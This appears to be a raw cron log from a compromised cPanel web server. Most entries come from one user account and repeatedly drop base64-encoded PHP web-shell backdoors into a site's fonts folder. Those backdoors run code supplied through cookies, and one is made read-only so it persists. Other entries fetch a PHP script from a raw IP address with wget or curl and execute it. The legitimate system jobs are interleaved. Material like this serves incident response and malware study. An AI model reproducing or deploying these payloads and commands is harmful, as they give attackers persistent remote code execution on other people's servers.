Sep  3 04:21:01 ip-184-168-122-23 CROND[31118]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  3 04:21:01 ip-184-168-122-23 CROND[31119]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  3 04:21:01 ip-184-168-122-23 CROND[31120]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 04:21:01 ip-184-168-122-23 CROND[31121]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 04:22:01 ip-184-168-122-23 CROND[31223]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  3 04:22:01 ip-184-168-122-23 CROND[31228]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 04:22:01 ip-184-168-122-23 CROND[31226]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  3 04:22:01 ip-184-168-122-23 CROND[31227]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 04:22:01 ip-184-168-122-23 CROND[31225]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  3 04:23:01 ip-184-168-122-23 CROND[31325]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 04:23:01 ip-184-168-122-23 CROND[31327]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 04:23:01 ip-184-168-122-23 CROND[31328]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  3 04:23:01 ip-184-168-122-23 CROND[31330]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  3 04:24:01 ip-184-168-122-23 CROND[31446]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 04:24:01 ip-184-168-122-23 CROND[31448]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  3 04:24:01 ip-184-168-122-23 CROND[31450]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  3 04:24:01 ip-184-168-122-23 CROND[31449]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 04:24:01 ip-184-168-122-23 CROND[31451]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  3 04:25:01 ip-184-168-122-23 CROND[31549]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  3 04:25:01 ip-184-168-122-23 CROND[31551]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  3 04:25:01 ip-184-168-122-23 CROND[31552]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  3 04:25:01 ip-184-168-122-23 CROND[31554]: (root) CMD (/usr/local/cpanel/bin/mysqluserstore >/dev/null 2>&1)
Sep  3 04:25:01 ip-184-168-122-23 CROND[31553]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 04:25:01 ip-184-168-122-23 CROND[31555]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 04:25:01 ip-184-168-122-23 CROND[31556]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  3 04:26:01 ip-184-168-122-23 CROND[31734]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  3 04:26:01 ip-184-168-122-23 CROND[31738]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  3 04:26:01 ip-184-168-122-23 CROND[31739]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 04:26:01 ip-184-168-122-23 CROND[31742]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 04:26:01 ip-184-168-122-23 CROND[31743]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  3 04:27:01 ip-184-168-122-23 CROND[31843]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  3 04:27:01 ip-184-168-122-23 CROND[31844]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  3 04:27:01 ip-184-168-122-23 CROND[31845]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 04:27:01 ip-184-168-122-23 CROND[31846]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 04:28:01 ip-184-168-122-23 CROND[31935]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  3 04:28:01 ip-184-168-122-23 CROND[31937]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  3 04:28:01 ip-184-168-122-23 CROND[31940]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 04:28:01 ip-184-168-122-23 CROND[31938]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 04:28:01 ip-184-168-122-23 CROND[31939]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  3 04:29:01 ip-184-168-122-23 CROND[32049]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  3 04:29:01 ip-184-168-122-23 CROND[32051]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  3 04:29:01 ip-184-168-122-23 CROND[32050]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 04:29:01 ip-184-168-122-23 CROND[32052]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 04:30:01 ip-184-168-122-23 CROND[32183]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  3 04:30:01 ip-184-168-122-23 CROND[32186]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 04:30:01 ip-184-168-122-23 CROND[32185]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  3 04:30:01 ip-184-168-122-23 CROND[32193]: (root) CMD (/usr/bin/test -x /usr/local/cpanel/scripts/update_db_cache && /usr/local/cpanel/scripts/update_db_cache)
Sep  3 04:30:01 ip-184-168-122-23 CROND[32192]: (mailman) CMD (/usr/local/cpanel/scripts/restartsrv_mailman --status &> /dev/null && /usr/local/cpanel/3rdparty/bin/python2 -S /usr/local/cpanel/3rdparty/mailman/cron/cull_bad_shunt)
Sep  3 04:30:01 ip-184-168-122-23 CROND[32189]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  3 04:30:01 ip-184-168-122-23 CROND[32194]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  3 04:30:01 ip-184-168-122-23 CROND[32190]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  3 04:30:01 ip-184-168-122-23 CROND[32191]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 04:30:02 ip-184-168-122-23 CROND[32206]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  3 04:31:01 ip-184-168-122-23 CROND[32335]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 04:31:01 ip-184-168-122-23 CROND[32336]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  3 04:31:01 ip-184-168-122-23 CROND[32338]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  3 04:31:01 ip-184-168-122-23 CROND[32337]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 04:31:01 ip-184-168-122-23 CROND[32339]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  3 04:32:01 ip-184-168-122-23 CROND[32519]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  3 04:32:01 ip-184-168-122-23 CROND[32520]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 04:32:01 ip-184-168-122-23 CROND[32522]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  3 04:32:01 ip-184-168-122-23 CROND[32521]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 04:32:01 ip-184-168-122-23 CROND[32523]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
